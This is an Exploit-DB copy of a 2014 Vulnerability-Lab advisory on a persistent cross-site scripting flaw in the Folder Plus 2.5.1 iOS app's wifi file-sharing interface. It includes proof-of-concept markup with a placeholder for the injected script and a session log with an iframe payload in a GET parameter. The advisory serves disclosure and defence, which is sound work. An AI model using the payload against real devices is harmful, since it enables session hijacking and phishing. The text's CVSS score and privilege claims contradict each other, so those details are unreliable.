Exploit-DB #35083
Description: Folder Plus 2.5.1 iOS - Persistent Cross-Site Scripting
Type: webapps
Platform: ios
Date: 2014-10-27
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
Folder Plus v2.5.1 iOS - Persistent Item Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1348


Release Date:
=============
2014-10-24


Vulnerability Laboratory ID (VL-ID):
====================================
1348


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
The ability to use multi touch to quickly move between viewing and editing files is also very good if you’re willing to utilize it. - Touch Reviews. 
Folder Plus is an In-App Multitasking Capable File Manager/Viewer/Editor, with 3-Finger Swipes You Switch between Tasks of File Managing, Viewing, 
Editing, etc QUICKLY.

(Copy of the Vendor Homepage: http://theverygames.com/folder-plus/ &  https://itunes.apple.com/us/app/file-manager-folder-plus/id484856077 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent input validation web vulnerability in the official The Very Games `Folder Plus` iOS mobile application.


Vulnerability Disclosure Timeline:
==================================
2014-10-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
The Very Games
Product: Folder Plus - iOS Mobile Web Application (Wifi) 2.5.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Folder Plus v2.5.1 iOS mobile application.
The issue allows an attacker to inject own script code as payload to the application-side of the vulnerable service function or module.

The vulnerability is located in the delete item message context of the wifi interface listing module. The issue allows remote attackers 
to inject own persistent script codes by usage of the vulnerable create folder function. The attacker injects a script code payloads and 
waits for a higher privileged delete of the item to execute the script codes. The execution of the injected script code occurs in the 
delete message context to confirm to erase. The attack vector is persistent on the application-side and the request method to execute 
is GET. The issue allows to stream persistent malicious script codes to the front site wifi root path.

The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.5.
Exploitation of the application-side web vulnerability requires a low privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerabilities result in persistent phishing, session hijacking, persistent external redirect to malicious 
sources and application-side manipulation of affected or connected module context.

Request Method(s):
					[+] GET

Vulnerable Module(s):
					[+] Wifi Sharing

Vulnerable Function(s):
					[+] Delete Item

Vulnerable Parameter(s):
					[+] items name

Affected Module(s):
					[+] Wifi Interface - Root Index


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers without privileged application user account and with 
low or medium user interaction. For security demonstration or to reproduce the issue follow the provided information and steps below to continue.

PoC: Folder Plus > THE VERY GAMES - Wifi UI Index

<tbody><tr style="height:32px"><td style="width:32px"></td><td>​​​​​</td><td style="width:32px"></td></tr>
<tr style="height:66px" valign="top">
<td></td>
<td id="modal_body1" style="width:336px" align="left">Delete<div style="display: inline-block;" 
class="horz_padding"></div><img src="/?action=extra&path=icons/iconFolder.png" style="width: 16px; height: 
16px; vertical-align: text-top;"><div style="width: 4px; 
display: inline-block;"></div> "><[PERSISTENT INJECTED SCRIPT CODE!]);"><div style="display: inline-block;" class="horz_padding"></div>?</td>​​​​​
<td></td>
</tr>
<tr style="height:32px" valign="middle">
<td></td>
<td id="modal_body2" align="right"><a href="#" 
class="toolbar_button"><div style="display: inline-block;">Cancel</div></a><div style="width: 16px; display: inline-block;"></div>
<a href="#" class="toolbar_button"><img style="vertical-align: text-top; display: inline;" src="/?action=extra&path=images/delete1.png">
<img style="vertical-align: text-top; display: none;" src="/?action=extra&path=images/delete2.png"><div style="width: 4px; display: 
inline-block;"></div><div style="display: inline-block;">Delete</div></a></td>
<td></td>
</tr>
<tr style="height:20px">
<td></td>
<td></td>
<td align="center" valign="middle">
<div id="modal_body3"></div>
</td>
</tr>
</tbody>


--- PoC Session Logs [POST] ---
Status: 200[OK]
GET http://localhost/?action=directory&path=%3Ciframe%20src%3Dhttp://www.vulnerability-lab.com%3E Load Flags[LOAD_BACKGROUND  ] Größe des Inhalts[2] Mime Type[application/json]
   Request Header:
      Host[localhost]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[application/json, text/javascript, */*; q=0.01]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[2]
      Vary[Accept]
      Content-Type[application/json]
      Date[Tue, 21 Oct 2014 15:42:33 GMT]

Status: 200[OK]
GET http://localhost/?action=list Load Flags[LOAD_BACKGROUND  ] Größe des Inhalts[491]